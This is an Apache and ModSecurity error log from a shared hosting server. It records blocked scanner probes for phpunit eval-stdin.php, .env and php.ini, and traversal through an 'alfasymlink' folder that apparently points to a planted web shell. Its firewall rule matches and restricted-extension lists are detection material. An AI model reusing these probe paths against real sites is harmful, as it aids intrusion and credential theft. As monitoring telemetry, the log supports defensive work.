[Mon Oct 26 23:06:54.544541 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM1wAAAAo"]
[Mon Oct 26 23:06:54.545181 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM1wAAAAo"]
[Mon Oct 26 23:06:54.546072 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTh7MuKI4tGMtwYeM1wAAAAo"]
[Mon Oct 26 23:06:54.770325 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM2AAAAAo"]
[Mon Oct 26 23:06:54.770799 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM2AAAAAo"]
[Mon Oct 26 23:06:54.771557 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTh7MuKI4tGMtwYeM2AAAAAo"]
[Mon Oct 26 23:06:54.963418 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM2QAAAAo"]
[Mon Oct 26 23:06:54.963860 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "auAVTh7MuKI4tGMtwYeM2QAAAAo"]
[Mon Oct 26 23:06:54.964598 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTh7MuKI4tGMtwYeM2QAAAAo"]
[Mon Oct 26 23:06:55.154668 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTx7MuKI4tGMtwYeM2gAAAAo"]
[Mon Oct 26 23:06:55.155146 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auAVTx7MuKI4tGMtwYeM2gAAAAo"]
[Mon Oct 26 23:06:55.156007 2026] [security2:error] [pid 3146331:tid 3146331] [client 190.171.189.85:53304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auAVTx7MuKI4tGMtwYeM2gAAAAo"]
[Mon Oct 26 23:06:58.213391 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 54.83.240.58:35702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:07:10.163497 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 100.29.34.97:37878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:07:14.210056 2026] [core:error] [pid 3149145:tid 3149145] (13)Permission denied: [client 107.22.208.39:45539] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_generic/module/uevent
[Mon Oct 26 23:07:26.273371 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 23.23.103.31:30974] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:07:34.209032 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 98.84.60.17:53372] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:07:54.146646 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 98.84.60.17:26099] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:07:59.236117 2026] [cgi:error] [pid 3149145:tid 3149145] [client 165.232.170.211:59089] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat, referer: www.google.com
[Mon Oct 26 23:07:59.236591 2026] [security2:error] [pid 3149145:tid 3149145] [client 165.232.170.211:59089] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/cgi-bin/cache.php"] [unique_id "auAVj2D99EvW2fD6Vi-viAAAABM"], referer: www.google.com
[Mon Oct 26 23:07:59.236612 2026] [security2:error] [pid 3149145:tid 3149145] [client 165.232.170.211:59089] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/cgi-bin/cache.php"] [unique_id "auAVj2D99EvW2fD6Vi-viAAAABM"], referer: www.google.com
[Mon Oct 26 23:08:05.490036 2026] [security2:error] [pid 3145296:tid 3145296] [client 16.216.88.176:57344] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/045_mod_authn_core.conf"] [unique_id "auAVlYosHI5IdM2X3iJ0_gAAAAI"]
[Mon Oct 26 23:08:05.490478 2026] [security2:error] [pid 3145296:tid 3145296] [client 16.216.88.176:57344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/045_mod_authn_core.conf"] [unique_id "auAVlYosHI5IdM2X3iJ0_gAAAAI"]
[Mon Oct 26 23:08:05.490795 2026] [security2:error] [pid 3145296:tid 3145296] [client 16.216.88.176:57344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/045_mod_authn_core.conf"] [unique_id "auAVlYosHI5IdM2X3iJ0_gAAAAI"]
[Mon Oct 26 23:08:06.166886 2026] [core:error] [pid 3145297:tid 3145297] (13)Permission denied: [client 54.85.109.140:30531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/slots/5/module/uevent
[Mon Oct 26 23:08:10.190658 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 100.29.107.38:13931] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:08:14.275498 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 184.72.84.154:42314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:08:22.225666 2026] [ssl:error] [pid 3149145:tid 3149145] (70014)End of file found: [client 44.212.106.171:56452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:08:30.422132 2026] [ssl:error] [pid 3149143:tid 3149143] (5)Input/output error: [client 100.24.167.60:22775] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:08:38.153696 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 54.243.63.52:10050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:08:42.521874 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 44.221.37.41:54092] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:08:54.252858 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 52.71.46.142:15759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:09:02.153441 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 54.92.171.106:13546] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:09:26.299567 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 3.93.211.16:3416] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:09:50.151002 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 3.231.193.38:44742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:09:51.354959 2026] [authz_core:error] [pid 3142595:tid 3142595] [client 185.247.137.190:39795] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:09:54.147778 2026] [core:error] [pid 3147449:tid 3147449] (13)Permission denied: [client 184.73.239.35:65449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/unbind
[Mon Oct 26 23:10:26.145056 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 100.29.164.178:49891] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:10:30.252655 2026] [core:error] [pid 3149482:tid 3149482] (13)Permission denied: [client 98.82.38.120:34365] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/firmware_node/eject
[Mon Oct 26 23:10:38.472974 2026] [ssl:error] [pid 3145297:tid 3145297] (70014)End of file found: [client 185.191.171.10:52916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:10:42.143750 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 44.205.120.22:33029] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:10:46.294259 2026] [security2:error] [pid 3149482:tid 3149482] [client 52.7.13.143:40415] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/memory9/"] [unique_id "auAWNjNB9i90nPiYh7BZQwAAAA4"]
[Mon Oct 26 23:10:46.294312 2026] [security2:error] [pid 3149482:tid 3149482] [client 52.7.13.143:40415] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/node0/memory1/node0/memory9/"] [unique_id "auAWNjNB9i90nPiYh7BZQwAAAA4"]
[Mon Oct 26 23:10:50.139964 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 18.208.11.93:2290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:11:06.147327 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 18.213.70.100:26234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:11:10.355885 2026] [ssl:error] [pid 3145296:tid 3145296] (70014)End of file found: [client 18.205.91.101:60687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:11:14.127948 2026] [core:error] [pid 3146389:tid 3146389] (13)Permission denied: [client 54.90.8.255:48890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 23:11:14.660507 2026] [core:error] [pid 3149143:tid 3149143] (13)Permission denied: [client 85.208.96.194:27876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/min_partial
[Mon Oct 26 23:11:22.429851 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 52.5.232.250:50426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:11:38.146317 2026] [ssl:error] [pid 3147517:tid 3147517] (70014)End of file found: [client 52.71.46.142:27586] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:11:46.468783 2026] [ssl:error] [pid 3149143:tid 3149143] (70014)End of file found: [client 18.207.89.138:26606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:11:50.610227 2026] [core:error] [pid 3147513:tid 3147513] (13)Permission denied: [client 85.208.96.202:47924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/objects_partial
[Mon Oct 26 23:11:58.141225 2026] [ssl:error] [pid 3149143:tid 3149143] (5)Input/output error: [client 3.222.190.107:7623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:10.133863 2026] [ssl:error] [pid 3146389:tid 3146389] (70014)End of file found: [client 52.45.77.169:57711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:14.200877 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 54.159.98.248:28438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:22.145199 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 52.203.237.170:35866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:26.124983 2026] [core:error] [pid 3146331:tid 3146331] (13)Permission denied: [client 34.204.150.196:41483] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/i8042 kbd/uevent
[Mon Oct 26 23:12:30.135313 2026] [ssl:error] [pid 3148730:tid 3148730] (70014)End of file found: [client 23.23.137.202:31980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:34.125941 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 100.25.120.246:48815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:38.175994 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 44.217.255.167:32299] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:42.135112 2026] [ssl:error] [pid 3146331:tid 3146331] (70014)End of file found: [client 50.16.248.61:13840] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:46.148749 2026] [ssl:error] [pid 3147449:tid 3147449] (70014)End of file found: [client 23.22.59.87:42505] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:12:50.116676 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 3.93.211.16:36656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:02.163088 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 34.193.2.57:54626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:15.346308 2026] [ssl:error] [pid 3149482:tid 3149482] (70014)End of file found: [client 85.208.96.205:62780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:16.200571 2026] [authz_core:error] [pid 3146331:tid 3146331] [client 172.236.228.39:54830] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 23:13:26.332471 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.93.211.16:41591] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:30.115052 2026] [ssl:error] [pid 3149482:tid 3149482] (70014)End of file found: [client 107.20.224.184:7883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:38.184267 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 54.167.32.123:1922] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:45.221704 2026] [security2:error] [pid 3146389:tid 3146389] [client 177.129.212.117:38972] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/class.phpmailer.php"] [unique_id "auAW6eJUkwm96ZYHDUs1ygAAABE"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:13:53.794427 2026] [security2:error] [pid 3149143:tid 3149143] [client 190.113.102.208:23310] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2"] [unique_id "auAW8QHgy0LFwbOerkGl4wAAAA0"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:13:54.120801 2026] [ssl:error] [pid 3146389:tid 3146389] (5)Input/output error: [client 34.225.138.57:55453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 23:13:56.601725 2026] [security2:error] [pid 3147513:tid 3147513] [client 189.37.66.177:49266] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2/"] [unique_id "auAW9Mqawth2HP9RxtL8xQAAAAY"], referer: https://sherwinpinturas.com/
[Mon Oct 26 23:13:56.603192 2026] [authz_core:error] [pid 3147513:tid 3147513] [client 189.37.66.177:49266] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini, referer: https://sherwinpinturas.com/
[Mon Oct 26 23:13:59.417797 2026] [security2:error] [pid 3149482:tid 3149482] [client 172.235.210.84:60910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAW9zNB9i90nPiYh7BZSgAAAA4"]
[Mon Oct 26 23:13:59.418028 2026] [security2:error] [pid 3149482:tid 3149482] [client 172.235.210.84:60910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAW9zNB9i90nPiYh7BZSgAAAA4"]
[Mon Oct 26 23:13:59.418411 2026] [security2:error] [pid 3149482:tid 3149482] [client 172.235.210.84:60910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auAW9zNB9i90nPiYh7BZSgAAAA4"]
[Mon Oct 26 23:13:59.900927 2026] [core:crit] [pid 3142605:tid 3142605] (13)Permission denied: [client 172.235.210.84:60924] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
